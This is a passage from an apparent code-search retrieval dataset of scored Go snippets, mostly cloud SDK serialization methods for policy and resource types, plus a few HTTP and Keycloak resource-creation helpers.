method\n\terr := p.pipeline.UpdateConfig(func(conf *config.AppConfig) error {\n\t\tvars := mux.Vars(req.r)\n\t\tid, ok := vars[\"id\"]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"Must append policy id %s\", req.r.URL)\n\t\t}\n\n\t\t// check to see if a policy with this id already exists\n\t\tif _, inMap := conf.Policies[id]; inMap {\n\n\t\t\treturn fmt.Errorf(\"A policy with id: '%s' already exists\", id)\n\t\t}\n\n\t\t// read the policy\n\t\tbuff, err := ioutil.ReadAll(req.r.Body)\n\n\t\tpol := &escalation.Policy{}\n\n\t\terr = json.Unmarshal(buff, pol)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif pol.Name == \"\" {\n\t\t\tpol.Name = id\n\t\t}\n\n\t\tpol.Compile(p.pipeline)\n\t\tif conf.Policies == nil {\n\t\t\tconf.Policies = make(map[string]*escalation.Policy)\n\t\t}\n\n\t\tconf.Policies[id] = pol\n\n\t\treturn nil\n\n\t}, req.u)\n\n\tif err != nil {\n\t\tlogrus.Error(err)\n\t\thttp.Error(req.w, err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n}", "title": "" }, { "docid": "b2b937eaf0b7f5b8c5001745deb7b9f3", "score": "0.5103969", "text": "func (s ServerBlobAuditingPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "eeac4369a7cf49a48ad8bc1794cbe6f0", "score": "0.50972366", "text": "func (o *SchemaService) Create(storeName string, objectBody interface{}) (*json.RawMessage, *http.Response, error) {\r\n\tvar schema *json.RawMessage = &json.RawMessage{}\r\n\tapiError := new(APIError)\r\n\tresp, err := o.sling.New().Post(\"\").BodyJSON(objectBody).Receive(schema, apiError)\r\n\treturn schema, resp, relevantError(err, apiError)\r\n}", "title": "" }, { "docid": "597cc718259e099f4dac2d856044e0be", "score": "0.50965613", "text": "func (s ServerConnectionPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"kind\", s.Kind)\n\tpopulate(objectMap, \"location\", s.Location)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "f8d21f79fd551f01bbc25a350e63b922", "score": "0.5080874", "text": "func (peVar PolicyEvent) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif peVar.OdataID != nil {\n\t\tobjectMap[\"@odata.id\"] = peVar.OdataID\n\t}\n\tif peVar.OdataContext != nil {\n\t\tobjectMap[\"@odata.context\"] = peVar.OdataContext\n\t}\n\tif peVar.Timestamp != nil {\n\t\tobjectMap[\"timestamp\"] = peVar.Timestamp\n\t}\n\tif peVar.ResourceID != nil {\n\t\tobjectMap[\"resourceId\"] = peVar.ResourceID\n\t}\n\tif peVar.PolicyAssignmentID != nil {\n\t\tobjectMap[\"policyAssignmentId\"] = peVar.PolicyAssignmentID\n\t}\n\tif peVar.PolicyDefinitionID != nil {\n\t\tobjectMap[\"policyDefinitionId\"] = peVar.PolicyDefinitionID\n\t}\n\tif peVar.EffectiveParameters != nil {\n\t\tobjectMap[\"effectiveParameters\"] = peVar.EffectiveParameters\n\t}\n\tif peVar.IsCompliant != nil {\n\t\tobjectMap[\"isCompliant\"] = peVar.IsCompliant\n\t}\n\tif peVar.SubscriptionID != nil {\n\t\tobjectMap[\"subscriptionId\"] = peVar.SubscriptionID\n\t}\n\tif peVar.ResourceType != nil {\n\t\tobjectMap[\"resourceType\"] = peVar.ResourceType\n\t}\n\tif peVar.ResourceLocation != nil {\n\t\tobjectMap[\"resourceLocation\"] = peVar.ResourceLocation\n\t}\n\tif peVar.ResourceGroup != nil {\n\t\tobjectMap[\"resourceGroup\"] = peVar.ResourceGroup\n\t}\n\tif peVar.ResourceTags != nil {\n\t\tobjectMap[\"resourceTags\"] = peVar.ResourceTags\n\t}\n\tif peVar.PolicyAssignmentName != nil {\n\t\tobjectMap[\"policyAssignmentName\"] = peVar.PolicyAssignmentName\n\t}\n\tif peVar.PolicyAssignmentOwner != nil {\n\t\tobjectMap[\"policyAssignmentOwner\"] = peVar.PolicyAssignmentOwner\n\t}\n\tif peVar.PolicyAssignmentParameters != nil {\n\t\tobjectMap[\"policyAssignmentParameters\"] = peVar.PolicyAssignmentParameters\n\t}\n\tif peVar.PolicyAssignmentScope != nil {\n\t\tobjectMap[\"policyAssignmentScope\"] = peVar.PolicyAssignmentScope\n\t}\n\tif peVar.PolicyDefinitionName != nil {\n\t\tobjectMap[\"policyDefinitionName\"] = peVar.PolicyDefinitionName\n\t}\n\tif peVar.PolicyDefinitionAction != nil {\n\t\tobjectMap[\"policyDefinitionAction\"] = peVar.PolicyDefinitionAction\n\t}\n\tif peVar.PolicyDefinitionCategory != nil {\n\t\tobjectMap[\"policyDefinitionCategory\"] = peVar.PolicyDefinitionCategory\n\t}\n\tif peVar.PolicySetDefinitionID != nil {\n\t\tobjectMap[\"policySetDefinitionId\"] = peVar.PolicySetDefinitionID\n\t}\n\tif peVar.PolicySetDefinitionName != nil {\n\t\tobjectMap[\"policySetDefinitionName\"] = peVar.PolicySetDefinitionName\n\t}\n\tif peVar.PolicySetDefinitionOwner != nil {\n\t\tobjectMap[\"policySetDefinitionOwner\"] = peVar.PolicySetDefinitionOwner\n\t}\n\tif peVar.PolicySetDefinitionCategory != nil {\n\t\tobjectMap[\"policySetDefinitionCategory\"] = peVar.PolicySetDefinitionCategory\n\t}\n\tif peVar.PolicySetDefinitionParameters != nil {\n\t\tobjectMap[\"policySetDefinitionParameters\"] = peVar.PolicySetDefinitionParameters\n\t}\n\tif peVar.ManagementGroupIds != nil {\n\t\tobjectMap[\"managementGroupIds\"] = peVar.ManagementGroupIds\n\t}\n\tif peVar.PolicyDefinitionReferenceID != nil {\n\t\tobjectMap[\"policyDefinitionReferenceId\"] = peVar.PolicyDefinitionReferenceID\n\t}\n\tif peVar.TenantID != nil {\n\t\tobjectMap[\"tenantId\"] = peVar.TenantID\n\t}\n\tif peVar.PrincipalOid != nil {\n\t\tobjectMap[\"principalOid\"] = peVar.PrincipalOid\n\t}\n\tfor k, v := range peVar.AdditionalProperties {\n\t\tobjectMap[k] = v\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "1f84b2e63bfc5544b7f134f22e6a60e0", "score": "0.5078907", "text": "func (d DatabaseSecurityAlertPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", d.ID)\n\tpopulate(objectMap, \"name\", d.Name)\n\tpopulate(objectMap, \"properties\", d.Properties)\n\tpopulate(objectMap, \"systemData\", d.SystemData)\n\tpopulate(objectMap, \"type\", d.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "3cfe19a3cd5e81b6a4219215ef6cd350", "score": "0.50597847", "text": "func (r *Instance) marshal(c *Client) ([]byte, error) {\n\tm, err := expandInstance(c, r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshalling Instance: %w\", err)\n\t}\n\tm = EncodeSpannerInstanceCreateRequest(m)\n\n\treturn json.Marshal(m)\n}", "title": "" }, { "docid": "0fe0c522dfe4139803d3a54dc01cd2a9", "score": "0.5038703", "text": "func (s SimPolicyResourceID) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "311086431dbba731154be6c62da769f8", "score": "0.5038624", "text": "func (cp CertificatePolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif cp.KeyProperties != nil {\n\t\tobjectMap[\"key_props\"] = cp.KeyProperties\n\t}\n\tif cp.SecretProperties != nil {\n\t\tobjectMap[\"secret_props\"] = cp.SecretProperties\n\t}\n\tif cp.X509CertificateProperties != nil {\n\t\tobjectMap[\"x509_props\"] = cp.X509CertificateProperties\n\t}\n\tif cp.LifetimeActions != nil {\n\t\tobjectMap[\"lifetime_actions\"] = cp.LifetimeActions\n\t}\n\tif cp.IssuerParameters != nil {\n\t\tobjectMap[\"issuer\"] = cp.IssuerParameters\n\t}\n\tif cp.Attributes != nil {\n\t\tobjectMap[\"attributes\"] = cp.Attributes\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "4d0ee16076e8c5a32ba661352675a42e", "score": "0.50298357", "text": "func (p Provisioner) Validate(req json.RawMessage) error {\n\tmodel := &CreateInstanceRequest{}\n\tif err := json.Unmarshal(req, &model); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6e43b6f5cb341d06ce2c1bcc3ad68b02", "score": "0.5019488", "text": "func (s RemoveResourcePermissionInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/x-amz-json-1.1\"), protocol.Metadata{})\n\n\tif s.AuthenticationToken != nil {\n\t\tv := *s.AuthenticationToken\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.HeaderTarget, \"Authentication\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.PrincipalId != nil {\n\t\tv := *s.PrincipalId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"PrincipalId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.ResourceId != nil {\n\t\tv := *s.ResourceId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"ResourceId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif len(s.PrincipalType) > 0 {\n\t\tv := s.PrincipalType\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"type\", protocol.QuotedValue{ValueMarshaler: v}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8bb8fee67b9e1773d3a19505b97ac5ba", "score": "0.5016701", "text": "func (s GetComponentPolicyOutput) MarshalFields(e protocol.FieldEncoder) error {\n\tif s.Policy != nil {\n\t\tv := *s.Policy\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"policy\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.RequestId != nil {\n\t\tv := *s.RequestId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"requestId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8cdfd5698b5fdf4bbe99fd8bec0c9c6c", "score": "0.501548", "text": "func (sp SnapshotPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif sp.Location != nil {\n\t\tobjectMap[\"location\"] = sp.Location\n\t}\n\tif sp.Tags != nil {\n\t\tobjectMap[\"tags\"] = sp.Tags\n\t}\n\tif sp.SnapshotPolicyProperties != nil {\n\t\tobjectMap[\"properties\"] = sp.SnapshotPolicyProperties\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "4ce52804b975f9eec07799a373285472", "score": "0.49977675", "text": "func (p Policies) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"quarantinePolicy\", p.QuarantinePolicy)\n\tpopulate(objectMap, \"retentionPolicy\", p.RetentionPolicy)\n\tpopulate(objectMap, \"trustPolicy\", p.TrustPolicy)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "fad3dd3ff4d3a33536836ea56693a27b", "score": "0.49965996", "text": "func (s DescribeResourcePermissionsInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/x-amz-json-1.1\"), protocol.Metadata{})\n\n\tif s.AuthenticationToken != nil {\n\t\tv := *s.AuthenticationToken\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.HeaderTarget, \"Authentication\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.ResourceId != nil {\n\t\tv := *s.ResourceId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"ResourceId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.Limit != nil {\n\t\tv := *s.Limit\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"limit\", protocol.Int64Value(v), metadata)\n\t}\n\tif s.Marker != nil {\n\t\tv := *s.Marker\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"marker\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.PrincipalId != nil {\n\t\tv := *s.PrincipalId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"principalId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "14b723366d82473b3ea0ed39a6efddb4", "score": "0.49944925", "text": "func (command S3ArtifactPublisherResource) Create(awsSession *session.Session,\n\tevent *CloudFormationLambdaEvent,\n\tlogger *logrus.Logger) (map[string]interface{}, error) {\n\n\tunmarshalErr := json.Unmarshal(event.ResourceProperties, &command)\n\tif unmarshalErr != nil {\n\t\treturn nil, unmarshalErr\n\t}\n\tmapData, mapDataErr := json.Marshal(command.Body)\n\tif mapDataErr != nil {\n\t\treturn nil, mapDataErr\n\t}\n\titemInput := bytes.NewReader(mapData)\n\ts3PutObjectParams := &s3.PutObjectInput{\n\t\tBody: itemInput,\n\t\tBucket: aws.String(command.Bucket.Literal),\n\t\tKey: aws.String(command.Key.Literal),\n\t}\n\ts3Svc := s3.New(awsSession)\n\ts3Response, s3ResponseErr := s3Svc.PutObject(s3PutObjectParams)\n\tif s3ResponseErr != nil {\n\t\treturn nil, s3ResponseErr\n\t}\n\treturn map[string]interface{}{\n\t\t\"ObjectVersion\": s3Response.VersionId,\n\t}, nil\n}", "title": "" }, { "docid": "6b17d969f2e76d84215c418254462b4b", "score": "0.4990056", "text": "func (m ManagedServerSecurityAlertPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", m.ID)\n\tpopulate(objectMap, \"name\", m.Name)\n\tpopulate(objectMap, \"properties\", m.Properties)\n\tpopulate(objectMap, \"systemData\", m.SystemData)\n\tpopulate(objectMap, \"type\", m.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "ecb70acffdabe2bc2c33228a4383ac65", "score": "0.498874", "text": "func (r RoleManagementPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", r.ID)\n\tpopulate(objectMap, \"name\", r.Name)\n\tpopulate(objectMap, \"properties\", r.Properties)\n\tpopulate(objectMap, \"type\", r.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "b513b24d022a773c5ea887b1926fb0e8", "score": "0.49841973", "text": "func (m ManagedHsmKeyReleasePolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"contentType\", m.ContentType)\n\tpopulateByteArray(objectMap, \"data\", m.Data, runtime.Base64URLFormat)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "46627601ea8589bbe139e018a91f723d", "score": "0.49747622", "text": "func (b BackupPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"etag\", b.Etag)\n\tpopulate(objectMap, \"id\", b.ID)\n\tpopulate(objectMap, \"location\", b.Location)\n\tpopulate(objectMap, \"name\", b.Name)\n\tpopulate(objectMap, \"properties\", b.Properties)\n\tpopulate(objectMap, \"systemData\", b.SystemData)\n\tpopulate(objectMap, \"tags\", b.Tags)\n\tpopulate(objectMap, \"type\", b.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "79ed8ab2cea10ac9ce14f3f17818edb0", "score": "0.4973407", "text": "func (s ServiceEndpointPolicyDefinition) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"etag\", s.Etag)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "bf673dc48d22dc81206dd1cd0f9d7b65", "score": "0.49723768", "text": "func (k KeyReleasePolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"contentType\", k.ContentType)\n\tpopulateByteArray(objectMap, \"data\", k.Data, runtime.Base64URLFormat)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "124d4544466e9c3d33aa18093c82ff08", "score": "0.4971235", "text": "func (s CreateNotificationSubscriptionInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/x-amz-json-1.1\"), protocol.Metadata{})\n\n\tif s.Endpoint != nil {\n\t\tv := *s.Endpoint\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"Endpoint\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif len(s.Protocol) > 0 {\n\t\tv := s.Protocol\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"Protocol\", protocol.QuotedValue{ValueMarshaler: v}, metadata)\n\t}\n\tif len(s.SubscriptionType) > 0 {\n\t\tv := s.SubscriptionType\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"SubscriptionType\", protocol.QuotedValue{ValueMarshaler: v}, metadata)\n\t}\n\tif s.OrganizationId != nil {\n\t\tv := *s.OrganizationId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"OrganizationId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5848c040e3714586c58775519bee656d", "score": "0.49701488", "text": "func (api *API) CreateNotificationPolicy(ctx context.Context, accountID string, policy NotificationPolicy) (SaveResponse, error) {\n\tbaseURL := fmt.Sprintf(\"/accounts/%s/alerting/v3/policies\", accountID)\n\n\tres, err := api.makeRequestContext(ctx, http.MethodPost, baseURL, policy)\n\tif err != nil {\n\t\treturn SaveResponse{}, err\n\t}\n\treturn unmarshalNotificationSaveResponse(res)\n}", "title": "" }, { "docid": "0e932666a0e3483593b04a9fa575452f", "score": "0.49683455", "text": "func CreateResource(ctx context.Context, resource KeycloakResource, authzEndpoint string, protectionAPIToken string) (string, error) {\n\tlog.Debug(ctx, map[string]interface{}{\n\t\t\"resource\": resource,\n\t}, \"Creating a new Keycloak resource\")\n\n\tb, err := json.Marshal(resource)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"resource\": resource,\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to marshal keyclaok resource struct\")\n\t\treturn \"\", errors.NewInternalError(\"unable to marshal keyclaok resource struct \" + err.Error())\n\t}\n\n\treq, err := http.NewRequest(\"POST\", authzEndpoint, strings.NewReader(string(b)))\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to crete http request\")\n\t\treturn \"\", errors.NewInternalError(\"unable to crete http request \" + err.Error())\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Add(\"Authorization\", \"Bearer \"+protectionAPIToken)\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"resource\": resource,\n\t\t\t\"err\": err.Error(),\n\t\t}, \"Unable to create a Keycloak resource\")\n\t\treturn \"\", errors.NewInternalError(\"Unable to create a Keycloak resource \" + err.Error())\n\t}\n\tif res.StatusCode != http.StatusCreated {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"resource\": resource,\n\t\t\t\"response_status\": res.Status,\n\t\t\t\"response_body\": rest.ReadBody(res.Body),\n\t\t}, \"Unable to create a Keycloak resource\")\n\t\treturn \"\", errors.NewInternalError(\"Unable to create a Keycloak resource. Response status: \" + res.Status + \". Responce body: \" + rest.ReadBody(res.Body))\n\t}\n\tjsonString := rest.ReadBody(res.Body)\n\n\tvar r createResourceRequestResultPayload\n\terr = json.Unmarshal([]byte(jsonString), &r)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"resource\": resource,\n\t\t\t\"json_string\": jsonString,\n\t\t}, \"Unable to unmarshal json with the create keycloak resource request result\")\n\n\t\treturn \"\", errors.NewInternalError(fmt.Sprintf(\"Unable to unmarshal json with the create keycloak resource request result %s \", jsonString) + err.Error())\n\t}\n\n\tlog.Debug(ctx, map[string]interface{}{\n\t\t\"resource_name\": resource.Name,\n\t\t\"resource_id\": r.ID,\n\t}, \"Keycloak resource created\")\n\n\treturn r.ID, nil\n}", "title": "" }, { "docid": "2c63ead744ee8bb2e5f550b04e643f35", "score": "0.49590215", "text": "func (e ExtendedDatabaseBlobAuditingPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", e.ID)\n\tpopulate(objectMap, \"name\", e.Name)\n\tpopulate(objectMap, \"properties\", e.Properties)\n\tpopulate(objectMap, \"type\", e.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "111d4f1d42b76554c4edaddd527e0dad", "score": "0.49541864", "text": "func (k *knapcodeProvider) Create(ctx context.Context, req *rpc.CreateRequest) (*rpc.CreateResponse, error) {\n\turn := resource.URN(req.GetUrn())\n\tty := urn.Type()\n\n\tinputs, err := plugin.UnmarshalProperties(req.GetProperties(), plugin.MarshalOptions{KeepUnknowns: true, SkipNulls: true})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar outputs map[string]interface{}\n\tvar result string\n\n\tswitch ty {\n\n\tcase \"knapcode:index:PrepareAppForWebSignIn\":\n\t\tresult, outputs, err = create(inputs)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Create: unknown resource type '%s'\", ty)\n\n\t}\n\n\toutputProperties, err := plugin.MarshalProperties(\n\t\tresource.NewPropertyMapFromMap(outputs),\n\t\tplugin.MarshalOptions{KeepUnknowns: true, SkipNulls: true},\n\t)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rpc.CreateResponse{\n\t\tId: result,\n\t\tProperties: outputProperties,\n\t}, nil\n}", "title": "" }, { "docid": "09a8e8b426dc90c48f6ad942cdc4ac58", "score": "0.49480864", "text": "func (t TrustPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"status\", t.Status)\n\tpopulate(objectMap, \"type\", t.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "489516084e15c055e43e217cd5ed3acd", "score": "0.49375087", "text": "func marshalUpdatePolicyUpdatePolicyRequest(c *Client, m map[string]interface{}) ([]byte, error) {\n\n\treturn json.Marshal(m)\n}", "title": "" }, { "docid": "59bd8769e8cfe7d93f0bacdff2d575b0", "score": "0.4933169", "text": "func (r PutResourcePolicyRequest) Send(ctx context.Context) (*PutResourcePolicyResponse, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &PutResourcePolicyResponse{\n\t\tPutResourcePolicyOutput: r.Request.Data.(*PutResourcePolicyOutput),\n\t\tresponse: &aws.Response{Request: r.Request},\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "c30560c833ea9c39e83c541109177efd", "score": "0.49313033", "text": "func unmarshalPolicy(b []byte, c *Client, res *Policy) (*Policy, error) {\n\tvar m map[string]interface{}\n\tif err := json.Unmarshal(b, &m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn unmarshalMapPolicy(m, c, res)\n}", "title": "" }, { "docid": "5d8aeae48566b406a48902d340cc1d1a", "score": "0.49309042", "text": "func (s SnapshotPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"etag\", s.Etag)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"location\", s.Location)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"systemData\", s.SystemData)\n\tpopulate(objectMap, \"tags\", s.Tags)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "6411721840eeebf47ad64fe63a2e8aad", "score": "0.49274138", "text": "func (Policy) Render(o interface{}, gvr string, r *Row) error {\n\tp, ok := o.(PolicyRes)\n\tif !ok {\n\t\treturn fmt.Errorf(\"expecting PolicyRes but got %T\", o)\n\t}\n\n\tr.ID = client.FQN(p.Namespace, p.Resource)\n\tr.Fields = append(r.Fields,\n\t\tp.Namespace,\n\t\tcleanseResource(p.Resource),\n\t\tp.Group,\n\t\tp.Binding,\n\t)\n\tr.Fields = append(r.Fields, asVerbs(p.Verbs)...)\n\tr.Fields = append(r.Fields, \"\")\n\n\treturn nil\n}", "title": "" }, { "docid": "4842b0bc7e4db1668ad3b2f1972158fa", "score": "0.49268457", "text": "func (m ManagementPolicySchema) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"rules\", m.Rules)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "9a43b31f0c8d3c64bdc7a46c716aa6f6", "score": "0.49230093", "text": "func (b BlobInventoryPolicyProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulateTimeRFC3339(objectMap, \"lastModifiedTime\", b.LastModifiedTime)\n\tpopulate(objectMap, \"policy\", b.Policy)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "c2e95079623a1f3c3d64fa07aeb42552", "score": "0.49206707", "text": "func (ssor SingleSignOnResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif ssor.Properties != nil {\n\t\tobjectMap[\"properties\"] = ssor.Properties\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "1055ae2a98f45d6973ff27ec72b2b129", "score": "0.4919799", "text": "func (e ExtendedServerBlobAuditingPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", e.ID)\n\tpopulate(objectMap, \"name\", e.Name)\n\tpopulate(objectMap, \"properties\", e.Properties)\n\tpopulate(objectMap, \"type\", e.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "810de40f850c2b223f2be9e606f5b393", "score": "0.49197283", "text": "func (m *CreatePolicyResp) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tif v, ok := interface{}(m.GetPolicy()).(interface{ Validate() error }); ok {\n\t\tif err := v.Validate(); err != nil {\n\t\t\treturn CreatePolicyRespValidationError{\n\t\t\t\tfield: \"Policy\",\n\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\tcause: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a1ccea347a46cbdf340f47046413af2d", "score": "0.49088365", "text": "func (s ServiceEndpointPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"etag\", s.Etag)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"location\", s.Location)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"tags\", s.Tags)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "547aae8ef250e5137a7da6bcbc23a4b5", "score": "0.49061072", "text": "func (s ServerSecurityAlertPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"systemData\", s.SystemData)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "5d7c0ca8dbfad723d0c61fbaa34c0a97", "score": "0.48878798", "text": "func (a *BiosApiService) CreateBiosPolicyExecute(r ApiCreateBiosPolicyRequest) (*BiosPolicy, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue 